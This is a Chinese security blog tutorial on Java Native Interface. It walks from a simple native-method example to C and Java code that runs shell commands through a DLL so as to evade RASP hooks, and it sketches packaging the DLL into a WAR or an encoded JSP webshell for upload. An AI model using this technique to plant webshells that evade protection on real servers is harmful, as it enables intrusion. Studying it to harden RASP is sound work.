Java安全之JNI绕过RASP

0x00 前言

前面一直想看该JNI的相关内容,但是发现JNI的资料还是偏少。后面发现JNI在安全中应用非常的微妙,有意思。

0x01 JNI概述

JNI的全称叫做(Java Native Interface),其作用就是让我们的Java程序去调用C的程序。实际上调用的并不是exe程序,而是编译好的dll动态链接库里面封装的方法。因为Java是基于C语言去实现的,Java底层很多也会去使用JNI。

在开发中运用到的也是比较多,比如在前面分析链的时候,追溯到一些底层实现代码的时候就可以看到一些方法是使用Native 来修饰的。这就说明他是一个c语言去实现的一个方法。

0x02 JNI实现

来看到下面这张图,该图是实现JNI编程的具体路线

这里我大致分为五步:

1. 定义一个native修饰的方法

2. 使用javah进行编译

3. 编写对应的c语言代码

4. 使用gcc编译成dll文件

5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用

按照步骤来实现一下

定义一个native修饰的方法

package com.test;

public class Command {

public native int sum(int num1,int num2);

}

使用javah进行编译

首先使用javac编译成class文件

javac .\Command.java

然后使用javah生成c的头文件,切换到src目录下。后面发现其实可以不用编译成class文件。

JDK10移除了javah,需要改为javac加-h参数的方式生产头文件,命令:

javac -cp . .\Command.java -h com.test.Command

然后执行命令

javah -cp . com.test.Command

这里可以看到有个Java_com_test_Command_sum的字符,前面的Java是固定的前缀,后面是类名,最后面的是该类中定义的方法。

而括号里面的4个参数,第一个是JNI环境变量对象,第二个是Java调用的对象,这里是jclass也就是一个class文件。后面两个则是传入的参数并且是int类型的。

里面的内容是javah基于刚刚的java代码自动生成的,不要轻易更改。在编写c代码的时候,需要导入该头文件

编写对应的c语言代码

#include "com_test_Command.h"

JNIEXPORT jint JNICALL Java_com_test_Command_sum

(JNIEnv *env, jobject obj, jint num1, jint num2){

return num1+num2;

}

void main(){}

使用gcc编译成dll文件

gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32"

--shared JniClass.c

-o 1.dll

需要指定jdk的include和win32文件

或者可以这么写

gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。

mac 编译:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp

linux编译:

g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

g++是用来编译c++的,均可使用。代码如果是c++写的,就可以使用g++来编译成dll一样可以调用。

这里先来编译一下

gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c

重新在IDEA里面打开项目,并编写代码

package com.test;

public class test {

public static void main(String[] args) {

System.loadLibrary("cmd");

Command command = new Command();

int sum = command.sum(1, 2);

System.out.println(sum);

}

}

运行查看结果,查看是否能正常运行

然而这里发现爆了个这样的错误,在64位数的平台不能去调用32位数的dll文件,貌似是使用到了32位的gcc进行编译导致调用报错

发现自己安装的是32位的gcc编译只能编译成32位的dll文件,后面来使用gcc 64 位的就可以了。

再次编译成gcc进行调用后,就可以进行执行。

到了这里,就已经是调用了封装好的dll动态链接库文件里面封装的方法了。

0x03 JNI 绕过RASP 执行命令

在RASP里其实是Hook掉了一些Runtime、ProcessBuilder 等类,但是Runtime.exec调用的是ProcessBuilder.start,ProcessBuilder.start的底层会调用ProcessImpl类。那么这时候只需要去Hook掉ProcessImpl就无法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢?假设一个场景一个站点使用RASP,这时候如果上传一个webshell

那么这时候就会去用到JNI去调用该dll文件就可以进行一个绕过,可以先来实现这么一个功能,后续还需要考虑到的是怎么将几个文件封装到一起,打包成一个jsp文件进行上传。

首先还是需要在IDEA里面先去实现功能,基于上面代码去做一个修改

Command类:

package com.test;

public class Command {

public native String exec(String cmd);

}

编译成.h c语言的头文件,内容如下:

/* DO NOT EDIT THIS FILE - it is machine generated */

#include

/* Header for class com_test_Command */

#ifndef _Included_com_test_Command

#define _Included_com_test_Command

#ifdef __cplusplus

extern "C" {

#endif

JNIEXPORT jstring JNICALL Java_com_test_Command_exec

(JNIEnv *, jobject, jstring);

#ifdef __cplusplus

}

#endif

#endif

编写命令执行的C语言代码,由于不会C ,该段代码是网上找的

#include "com_test_Command.h"

#include

#include

#include

#include

#include

int execmd(const char *cmd, char *result)

{

char buffer[1024*12]; //定义缓冲区

FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令

if (!pipe)

return 0; //返回0表示运行失败

while (!feof(pipe))

{

if (fgets(buffer, 128, pipe))

{ //将管道输出到result中

strcat(result, buffer);

}

}

_pclose(pipe); //关闭管道

return 1; //返回1表示运行成功

}

JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)

{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);

char result[1024 * 12] = ""; //定义存放结果的字符串数组

if (1 == execmd(cstr, result))

{

// printf(result);

}

char return_messge[100] = "";

strcat(return_messge, result);

jstring cmdresult = (*env)->NewStringUTF(env, return_messge);

//system();

return cmdresult;

}

使用命令将2个文件编译成dll动态链接库

然后编写Java代码加载dll文件,调用C语言中封装的方法

package com.test;

public class test {

public static void main(String[] args) {

System.loadLibrary("cmd");

Command command = new Command();

String ipconfig = command.exec("ipconfig");

System.out.println(ipconfig);

}

}

调用栈:

命令就执行成功了,这里不是调用一些自带的Runtime等方法,而是调用dll文件中封装的方法,能够去绕过一些RASP的拦截。

目前我的设想是由两种方式在现实场景中去进行一个使用,一个是将dll文件都打包成一个war包,在一些tomcat管理后台的位置上传后,自动进行解压释放该dll文件,然后使用jsp去调用该dll文件,从而使得可以绕过执行命令。或者是可以使用远程调用的方式,这样就可以不用上传dll文件了, 这样做的目的是一般上传点之类的都不会允许dll文件进行上传。

还有一种方式是将dll文件编码后,内置到jsp中,执行的时候进行释放到当前文件目录下,进行调用。

参考文章

https://cloud.tencent.com/developer/article/1541566

https://javasec.org/javase/JNI/

吹爆花猫大哥的Javasec文章,在Javasec的JNI文中用到的是c++来进行一个代码实现,实际效果差不多。具体的在本文中就不做实现。Javasec中有现成代码。

0x04 结尾

其实这种方式还是有办法查杀到的,具体参考该篇文章:JNI编程怎么跟踪调试dll。

rasp java tomcat_Java安全之JNI绕过RASP相关推荐

  1. java防护webshell_JNI技术绕过rasp防护实现jsp webshell

    背景 ​ 想到rasp这类工具是基于java.php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过.java技术栈中的jni的原理是使用java调用c.c++函数,具体实现的思路是jsp编译 ...

  2. Java Native Interface 二 JNI中对Java基本类型和引用类型的处理

    本文是<The Java Native Interface Programmer's Guide and Specification>读书笔记 Java编程里会使用到两种类型:基本类型(如 ...

  3. jni java jar c_使用JNI从C程序执行java jar,使用g或eclipse

    我正在尝试从C程序调用/执行java jar. 以下是我到目前为止找到的选项: Use JNI Use Jace Use JunC++ion Use execl("java", & ...

  4. Java与c++通过JNI的完美结合

    Java与c++通过JNI的完美结合 https://blog.csdn.net/xiaoxiaoyusheng2012/article/details/56672173

  5. Linux平台Java调用so库-JNI使用例子

    1.确保gcc编译器已安装 2.编写HelloJNI.java代码,用native声明需要用C实现的函数. 如果源程序是包含在package里的话,应该建立同样的文件夹结构,比如/home/swan/ ...

  6. Java Native Interface 六JNI中的异常

    本文是<The Java Native Interface Programmer's Guide and Specification>读书笔记 在这里只讨论调用JNI方法可能会出现的异常, ...

  7. JAVA基础之理解JNI原理

    JNI是JAVA标准平台中的一个重要功能,它弥补了JAVA的与平台无关这一重大优点的不足,在JAVA实现跨平台的同时,也能与其它语言(如C.C++)的动态库进行交互,给其它语言发挥优势的机会. 有了J ...

  8. linux java调用so文件路径_Linux平台Java调用so库-JNI使用例子

    1.确保gcc编译器已安装 2.编写HelloJNI.java代码,用native声明需要用C实现的函数. 如果源程序是包含在package里的话,应该建立同样的文件夹结构,比如/home/swan/ ...

  9. android jni java调用c_Android与JNI(一) ---- Java调用C 静态调用

    第一.通过eclipse新建一个工程名为HelloJni的android工程,并编译. 第二.右键工程-->Android Tools --> Add Native Support,出现如 ...

最新文章

  1. python速成要多久2019-8-28_2019最全Python入门学习路线,不是我吹,绝对是最全
  2. MySQL的共享锁和独占锁
  3. 电动力学每日一题 2021/10/10
  4. SAP Leonardo及客户案例
  5. 使用 istringstream 遇到的一点小问题
  6. 【ARM】数据操作指令(下)
  7. UINavigationController扩展
  8. unity声音组件AudioSource的使用
  9. 【EFCORE笔记】异步查询工作原理注释标记
  10. css中border制作各种形状
  11. oracle 闪查询,Oracle的回闪查询
  12. ibm量子计算机应用,科学网—IBM量子计算机获重大突破 可进行百万项计算
  13. Spring Boot 执行流程
  14. Hadoop集群的启动顺序
  15. 进阶05 常用数据结构
  16. 不简单的工厂:实际体验 .NET Core 2.1 新生物 HttpClientFactory
  17. keil4c语言流水灯程序,C51 keil v4 流水灯简单代码的编写
  18. mysql绿盟扫描的2771_WEB 应用漏洞修复(绿盟科技扫描)与 Http 转 Https 解决方案...
  19. Jspx.net Framework 6.38发布
  20. ipad 的android模拟器,苹果IPAD模拟器(iPadian)

热门文章

  1. 1946年第一台计算机在哪个国家面试,面试问题 计算机
  2. Canvas绘制抽奖转盘
  3. TimusOJ - 1225.Flags 1119.Metr 1009.K-based Numbers (DP简单题)
  4. 数据分析方法(3)之AARRR模型
  5. HTTP协议入门 状态码大全
  6. Kotlin与Java的异同
  7. 关于 人工智能的理解
  8. 幼麟棋牌创建房间逻辑分析
  9. d3 企业图谱 仿天眼查 企查查
  10. python统计不同字符的个数